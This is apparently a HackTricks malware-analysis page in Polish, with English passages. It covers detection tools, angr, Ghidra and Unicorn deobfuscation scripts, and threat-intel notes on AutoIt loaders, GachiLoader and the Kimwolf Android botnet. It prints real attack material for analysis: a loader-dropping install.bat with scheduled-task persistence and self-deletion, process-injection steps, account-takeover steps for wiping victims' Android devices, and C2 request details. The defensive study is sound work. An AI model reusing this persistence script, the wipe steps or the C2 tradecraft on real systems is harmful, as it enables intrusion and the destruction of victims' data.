Analiza Malware
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ściągi Forensics
https://www.jaiminton.com/cheatsheet/DFIR/#
Usługi online
Offline narzędzia antywirusowe i wykrywania
Yara
Instalacja
sudo apt-get install -y yara
Przygotuj reguły
Użyj tego skryptu, aby pobrać i scalić wszystkie reguły yara malware z github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9\
Utwórz katalog rules i uruchom skrypt. Spowoduje to utworzenie pliku o nazwie malware_rules.yar, który zawiera wszystkie reguły yara malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Skanowanie
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Sprawdź malware i twórz reguły
Możesz użyć narzędzia YaraGen do wygenerowania yara rules z pliku binarnego. Zobacz te tutoriale: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Instalacja
sudo apt-get install -y clamav
Skanowanie
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa wykrywa potencjalnie złośliwe capabilities w plikach wykonywalnych: PE, ELF, .NET. Dzięki temu znajdzie elementy takie jak Att&ck tactics, lub podejrzane capabilities, takie jak:
- check for OutputDebugString error
- run as a service
- create process
Pobierz go z Github repo.
IOCs
IOC oznacza Indicator Of Compromise. IOC to zestaw warunków, które identyfikują pewne potencjalnie niechciane oprogramowanie lub potwierdzone malware. Blue Teams używają tego typu definicji do wyszukiwania tego typu złośliwych plików w swoich systemach i sieciach.
Udostępnianie takich definicji jest bardzo przydatne, ponieważ gdy malware zostanie zidentyfikowane na komputerze i zostanie utworzony IOC dla tego malware, inne Blue Teams mogą go wykorzystać do szybszej identyfikacji malware.
Narzędzie do tworzenia lub modyfikowania IOC to IOC Editor.
Możesz użyć narzędzi takich jak Redline do wyszukiwania zdefiniowanych IOC na urządzeniu.
Loki
Loki jest skanerem Simple Indicators of Compromise.
Detekcja opiera się na czterech metodach wykrywania:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) to skaner malware dla Linuxa wydany na licencji GNU GPLv2, zaprojektowany z myślą o zagrożeniach występujących w środowiskach współdzielonego hostingu. Wykorzystuje dane o zagrożeniach z systemów wykrywania włamań na granicy sieci, aby wydobywać malware aktywnie wykorzystywane w atakach i generować sygnatury do wykrywania. Dodatkowo dane o zagrożeniach pochodzą również z zgłoszeń użytkowników za pomocą funkcji LMD checkout oraz z zasobów społeczności malware.
rkhunter
Narzędzia takie jak rkhunter mogą być użyte do sprawdzenia systemu plików pod kątem możliwych rootkits i malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS to narzędzie, które będzie próbować znaleźć obfuscated strings w plikach wykonywalnych, używając różnych technik.
PEpper
PEpper sprawdza podstawowe rzeczy w pliku wykonywalnym (dane binarne, entropia, URL-e i IP, niektóre reguły YARA).
PEstudio
PEstudio to narzędzie, które pozwala uzyskać informacje o plikach wykonywalnych Windows, takie jak importy, eksporty, nagłówki, ale także sprawdzi VirusTotal i znajdzie potencjalne Att&ck techniques.
Detect It Easy(DiE)
DiE to narzędzie do wykrywania, czy plik jest encrypted oraz do znajdowania packers.
NeoPI
NeoPI to skrypt Python, który używa różnych statistical methods do wykrywania obfuscated i encrypted treści w plikach tekstowych/skryptowych. Celem NeoPI jest pomoc w detection of hidden web shell code.
php-malware-finder
PHP-malware-finder robi wszystko, co w jego mocy, aby wykryć obfuscated/dodgy code oraz pliki używające funkcji PHP często stosowanych w malwares/webshells.
Apple Binary Signatures
Podczas sprawdzania jakiegoś malware sample zawsze powinieneś check the signature pliku binarnego, ponieważ developer, który go podpisał, może być już related z malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Techniki wykrywania
File Stacking
Jeśli wiesz, że jakiś folder zawierający files serwera WWW był last updated on some date — sprawdź date utworzenia i modyfikacji wszystkich files na web serverze i jeśli któraś data jest suspicious, sprawdź ten plik.
Linie bazowe
Jeśli pliki w folderze shouldn’t have been modified, możesz obliczyć hash original files z folderu i compare je z current. Wszystko zmodyfikowane będzie suspicious.
Analiza statystyczna
Gdy informacje są zapisywane w logach, możesz check statistics — np. ile razy każdy plik serwera WWW był dostępny; web shell może być jednym z najczęściej wywoływanych.
Android in-app native telemetry (no root)
Na Androidzie możesz instrumentować natywny kod wewnątrz procesu docelowej aplikacji, preloadując małą bibliotekę loggera przed inicjalizacją innych bibliotek JNI. Daje to wczesną widoczność zachowania natywnego bez systemowych hooków ani root. Popularnym podejściem jest SoTap: wrzuć libsotap.so dla odpowiedniego ABI do APK i wstrzyknij wywołanie System.loadLibrary(“sotap”) wcześnie (np. static initializer lub Application.onCreate), a następnie zbieraj logi z internal/external ścieżek lub użyj fallbacku do Logcat.
See the Android native reversing page for setup details and log paths:
Android/JNI native string deobfuscation with angr + Ghidra
Niektóre Android malware i RASP-protected apps ukrywają nazwy i sygnatury metod JNI, dekodując je w czasie wykonywania przed wywołaniem RegisterNatives. Gdy Frida/ptrace instrumentation jest zabijana przez anti-debug, nadal możesz odzyskać plaintext offline, wykonując w-binary decoder za pomocą angr, a potem wpisując wyniki z powrotem do Ghidra jako komentarze.
Kluczowy pomysł: potraktuj decoder wewnątrz .so jako callable function, wykonaj go na zamaskowanych blobach bajtowych w .rodata i konkretuzuj (concretize) wyjściowe bajty aż do pierwszego \x00 (terminator C-string). Utrzymuj angr i Ghidra z tym samym image base, aby uniknąć niezgodności adresów.
Przegląd workflow
- Triage w Ghidra: zidentyfikuj decoder i jego calling convention/arguments w JNI_OnLoad i konfiguracji RegisterNatives.
- Uruchom angr (CPython3), aby wykonać decoder dla każdego docelowego stringu i zrzucić wyniki.
- Annotate w Ghidra: automatycznie skomentuj zdekodowane stringi przy każdym call site, żeby szybko odtworzyć JNI.
Ghidra triage (JNI_OnLoad pattern)
- Apply JNI datatypes to JNI_OnLoad, aby Ghidra rozpoznała struktury JNINativeMethod.
- Typowy JNINativeMethod wg dokumentacji Oracle:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Szukaj wywołań RegisterNatives. Jeśli biblioteka konstruuje name/signature za pomocą lokalnej rutyny (np. FUN_00100e10), która odnosi się do statycznej tablicy bajtów (np. DAT_00100bf4) i przyjmuje parametry typu (encoded_ptr, out_buf, length), to jest to idealny cel do offline execution.
angr setup (execute the decoder offline)
- Załaduj .so z tym samym base, którego użyto w Ghidra (przykład: 0x00100000) i wyłącz auto-loading external libs, aby utrzymać stan mały.
angr setup and offline decoder execution
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Na dużą skalę zbuduj statyczną mapę call sites do argumentów dekodera (encoded_ptr, size). Wrappers mogą ukrywać argumenty, więc możesz utworzyć to mapowanie ręcznie z Ghidra xrefs, jeśli odzyskiwanie API jest niedokładne.
<details>
<summary>Wsadowe dekodowanie wielu call sites za pomocą angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Adnotuj miejsca wywołań w Ghidra Option A: skrypt zapisujący komentarze wyłącznie w Jython (użyj wstępnie przygotowanego JSON)
- Ponieważ angr wymaga CPython3, utrzymaj deobfuskację i adnotację oddzielnie. Najpierw uruchom powyższy skrypt angr, aby wygenerować decoded_strings.json. Następnie uruchom ten GhidraScript w Jython, aby zapisać PRE_COMMENTs w każdym miejscu wywołania (i dołączyć nazwę funkcji wywołującej jako kontekst):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatywnie, użyj pyhidra lub ghidra_bridge, aby sterować API Ghidra z tego samego procesu CPython, w którym działa angr. To pozwala wywołać decode_string() i natychmiast ustawić PRE_COMMENTs bez pliku pośredniego. Logika odzwierciedla skrypt Jython: zbuduj mapę callsite→function za pomocą ReferenceManager, zdekoduj przy użyciu angr i ustaw komentarze.
Why this works and when to use it
- Offline execution sidesteps RASP/anti-debug: no ptrace, no Frida hooks required to recover strings.
- Keeping Ghidra and angr base_addr aligned (e.g., 0x00100000) ensures that function/data addresses match across tools.
- Repeatable recipe for decoders: treat the transform as a pure function, allocate an output buffer in a fresh state, call it with (encoded_ptr, out_ptr, len), then concretize via state.solver.eval and parse C-strings up to \x00.
Notes and pitfalls
- Respect the target ABI/calling convention. angr.factory.callable picks one based on arch; if arguments look shifted, specify cc explicitly.
- If the decoder expects zeroed output buffers, initialize outbuf with zeros in the state before the call.
- For position-independent Android .so, always supply base_addr so addresses in angr match those seen in Ghidra.
- Use currentProgram.getReferenceManager() to enumerate call-xrefs even if the app wraps the decoder behind thin stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuskacja dynamicznego przepływu sterowania (JMP/CALL RAX Dispatchers)
Nowoczesne rodziny malware intensywnie nadużywają obfuskacji grafu przepływu sterowania (Control-Flow Graph, CFG): zamiast bezpośredniego skoku/wywołania obliczają cel w czasie wykonywania i wykonują `jmp rax` lub `call rax`. Mały *dispatcher* (zwykle dziewięć instrukcji) ustawia końcowy cel w zależności od flag CPU `ZF`/`CF`, całkowicie łamiąc statyczne odzyskiwanie CFG.
Technikę — zaprezentowaną przez loader SLOW#TEMPEST — można pokonać za pomocą trzyetapowego procesu, który opiera się wyłącznie na IDAPython i emulatorze CPU Unicorn.
### 1. Zlokalizuj każdy skok/wywołanie pośrednie
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Wyodrębnij dispatcher byte-code
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emuluj to dwukrotnie za pomocą Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Uruchom run(code,0,0) i run(code,1,1), aby uzyskać cele gałęzi false i true.
4. Przywróć oryginalny bezpośredni jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Po załataniu wymuś w IDA ponowną analizę funkcji, aby przywrócić pełny CFG i wynik Hex-Rays:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Oznacz pośrednie wywołania API
Gdy znane jest prawdziwe miejsce docelowe każdego call rax, możesz powiedzieć IDA, czym ono jest, aby typy parametrów i nazwy zmiennych zostały odzyskane automatycznie:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Praktyczne korzyści
- Przywraca prawdziwy CFG → dekompilacja zwiększa się z 10 linii do tysięcy.
- Umożliwia string-cross-reference & xrefs, co sprawia, że rekonstrukcja zachowania jest trywialna.
- Skrypty są wielokrotnego użytku: wrzuć je do dowolnego loadera chronionego tym samym trikiem.
Loadery oparte na AutoIt: .a3x decryption, Task Scheduler masquerade i RAT injection
Ten wzorzec intruzji łączy podpisane MSI, AutoIt loaders skompilowane do .a3x oraz zadanie Task Scheduler podszywające się pod nieszkodliwą aplikację.
MSI → custom actions → AutoIt orchestrator
Drzewo procesów i polecenia wykonywane przez MSI custom actions:
- MsiExec.exe → cmd.exe aby uruchomić install.bat
- WScript.exe, aby pokazać zwodniczy dialog błędu
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (zrzuca loader, ustawia persistence, czyści po sobie):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (wabik użytkownika):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Kluczowe artefakty i maskarada:
- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
- Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
- Tworzy zaplanowane zadanie “IoKlTr”, które uruchamia się co 1 minutę
- Skrót autostartu widoczny jako Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Umieszcza moduły w podfolderach %APPDATA%\Google\Browser\ zawierających
adblubadvi uruchamia je za pomocą skryptów pomocniczych autoit.vbs/install.bat
Wskazówki do wstępnej analizy sądowej:
- Enumeracja schtasks:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Szukaj przemianowanych kopii schtasks.exe współlokowanych z Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Typowe ścieżki:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Korelacja tworzenia procesów: AutoIt3.exe uruchamiający legalne binaria Windows (np. cleanmgr.exe, hncfinder.exe)
Loadery AutoIt i odszyfrowanie payload .a3x → injekcja
- Moduły AutoIt są kompilowane z
#AutoIt3Wrapper_Outfile_type=a3xi odszyfrowują osadzone payloady przed wstrzyknięciem do niezłośliwych procesów. - Obserwowane rodziny: QuasarRAT (wstrzyknięty do hncfinder.exe) i RftRAT/RFTServer (wstrzyknięty do cleanmgr.exe), a także moduły RemcosRAT (
Remcos\RunBinary.a3x). - Wzorzec odszyfrowania: wyprowadź klucz AES przez HMAC, odszyfruj osadzony blob, a następnie wstrzyknij odszyfrowany moduł.
Ogólny szkic odszyfrowania (dokładne dane wejściowe HMAC/algorytm są specyficzne dla rodziny):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Typowy przebieg injekcji (CreateRemoteThread-style):
- CreateProcess (suspended) procesu hosta docelowego (np. cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory z odszyfrowanym modułem/shellcode
- CreateRemoteThread lub QueueUserAPC do wykonania payloadu
Wskazówki do wykrywania
- AutoIt3.exe z rodzicem MsiExec.exe lub WScript.exe uruchamiające narzędzia systemowe
- Pliki z rozszerzeniem
.a3xlub interpretery skryptów AutoIt w ścieżkach publicznych / zapisywalnych przez użytkownika - Podejrzane scheduled tasks wykonujące AutoIt3.exe lub binaria niepodpisane przez Microsoft, z wyzwalaczami co minutę
Account-takeover abuse of Android Find My Device (Find Hub)
Podczas włamania na Windows operatorzy używali skradzionych poświadczeń Google, aby wielokrotnie wymazywać urządzenia Android ofiary, tłumiąc powiadomienia jednocześnie rozszerzając dostęp przez zalogowany desktop messenger ofiary.
Kroki operatora (z zalogowanej sesji przeglądarki):
- Otwórz Google Account → Security → Your devices; przejdź do Find My Phone → Find Hub (https://www.google.com/android/find)
- Wybierz device → ponownie wpisz hasło Google → wykonaj “Erase device” (factory reset); powtarzaj, aby opóźnić odzyskanie
- Opcjonalnie: usuń alert e-maile w powiązanej skrzynce (np. Naver), aby ukryć powiadomienia bezpieczeństwa
Tracing heavily obfuscated Node.js loaders
Atakujący coraz częściej pakują JavaScript loaders wewnątrz standalone Windows binaries skompilowanych przy użyciu nexe, dzięki czemu runtime jest dostarczany razem ze skryptem. Powstały PE często waży 60–90 MB i uruchamia się nawet jeśli Node.js nie jest zainstalowany. Podczas triage:
- Użyj
nexe_unpackerdo wydobycia osadzonego JavaScript z PE i przekazania go do lokalnych narzędzi do statycznego porównania. - Spodziewaj się disk-based mutex w
%TEMP%(GachiLoader upuszcza losowy plik<name>.lock, który wygasa po ~5 minutach). Skopiowanie pliku do sandboxa przed uruchomieniem pozwala pominąć redundantne etapy, jednocześnie dalej obserwując późniejsze payloady.
Node.js API tracing to defeat anti-analysis
Check Point’s Nodejs-Tracer hooks core modules inside any Node.js process, lets you spoof anti-VM probes, and preserves every artifact the sample writes. Launch obfuscated scripts through the tracer to keep analyst-controlled instrumentation in the call stack:
node -r .\tracer.js main.js
Key configuration toggles inside tracer.js allow you to:
- Log filesystem, child-process, and HTTP activity (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Every dropped file—such askidkadi.node—is copied to the working directory before the malware deletes it. - Override environment fingerprints by returning realistic RAM/CPU counts, faking
tasklistoutput, and tampering with PowerShell/WMI responses. This bypasses loaders that demand ≥4 GB RAM, ≥2 cores, and scrutinize user names (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…), and process names (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neuter WMI hardware checks like
Get-WmiObject Win32_DiskDrive(looking forvmware,kvm,virtio, …),Win32_VideoController(blocking “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) andWin32_PortConnectorcounts. When those probes report “real” hardware, sandboxes no longer hit the infinite loop of benignInvoke-WebRequestcalls tolinkedin.com,grok.com,whatsapp.com, and similar domains that GachiLoader uses to waste analysis time.
Przechwytywanie ograniczonego ruchu C2 automatycznie
Hooki sieciowe tracera ujawniają wielowarstwową autoryzację C2 bez odwracania obfuskacji JavaScriptu. W obserwowanej kampanii loader:
- POSTs host telemetry to
/logon each hard-coded C2. - Issues
GET /richfamily/<per-sample key>withX-Secret: gachifamilyto retrieve a Base64-encoded payload URL. - Performs a final
GETto that URL with a long per-sampleX-Secretheader; missing it returns403 Forbidden.
Because the tracer records complete requests (headers, bodies, destinations), you can replay the same traffic to pull payloads, dump Themida/VMProtect shells in memory, and extract Rhadamanthys configuration data at scale.
AdaptixC2: Configuration Extraction and TTPs
Zobacz dedykowaną stronę:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Malicious APKs such as
com.n2.systemservice06*ship a statically linked ARM ELF insideres/raw(e.g.R.raw.libniggakernel). ABOOT_COMPLETEDreceiver runs at startup, extracts the raw resource to the app sandbox (e.g./data/data/<pkg>/niggakernel), makes it executable and invokes it withsu. - Many Android TV boxes/tablets ship pre-rooted images or world-writable
su, so the loader reliably boots the ELF with UID 0 even without an exploit chain. Persistence comes “for free” because the receiver relaunches after every reboot or app restart. - Reverse engineers hunting for this pattern can diff
AndroidManifest.xmlfor hidden boot receivers plus code that referencesResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Once the ELF is dropped, triage it as a Linux userland backdoor (Kimwolf is UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Upon start, Kimwolf binds an abstract UNIX domain socket such as
@niggaboxv4/@niggaboxv5. Existing sockets force an exit, so the socket name works as both a mutex and a forensic artifact. - The process title is overwritten with service-looking names (
netd_services,tv_helper, etc.) to blend into Android process listings. Host-based detections can alert on these names combined with the mutex socket.
Stack XOR string decoding with ARM NEON + flare_emu
- Sensitive strings (C2 domains, resolvers, DoT endpoints) are pushed onto the stack in encrypted 8-byte blocks and decoded in-place via
VEOR Qx, Qx, Qy(veorq_s64). Analysts can script flare_emu to catch the decrypted pointer each time the decryptor hands it to the caller:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Wyszukiwanie sekwencji
VEOR Q8, Q8, Q9/veorq_s64i emulowanie ich zakresów powoduje masowe zrzucanie każdego odszyfrowanego ciągu, omijając krótkotrwałe istnienie tekstu jawnego ograniczone do stosu.
DNS-over-TLS resolution plus XOR IP derivation
- All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
- v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant
0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
ENS / EtherHiding — mechanizm zapasowy
- Later builds add an ENS domain (
pawsatyou.eth) whose resolver text key"lol"stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599). - The bot grabs the last four bytes (
1b e7 85 99), XORs them with0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.
TLS + ECDSA authenticated command channel
- Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: bot wysyła dwa puste nagłówki
MsgType=0 (register). C2 odpowiadaMsgType=1 (verify), zawierając losowe wyzwanie oraz ASN.1 DER ECDSA podpis. Boty weryfikują go względem osadzonego bloba SubjectPublicKeyInfo; niepowodzenia kończą sesję, uniemożliwiając przejętym/sinkholed węzłom C2 przydzielanie zadań flocie. - Po weryfikacji bot wysyła ciało
MsgType=0zawierające zdefiniowany przez operatora group string (np.android-postboot-rt). Jeśli grupa jest włączona, C2 odpowiadaMsgType=2 (confirm), po czym zaczyna się tasking (MsgType 5–12). - Obsługiwane operacje obejmują proxy w stylu SOCKS dla TCP/UDP (monetyzacja jako residential proxy), reverse shell / single command exec, odczyt/zapis plików oraz Mirai-compatible DDoSBody payloady (taki sam układ
AtkType,Duration,Targets[],Flags[]).
Źródła
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

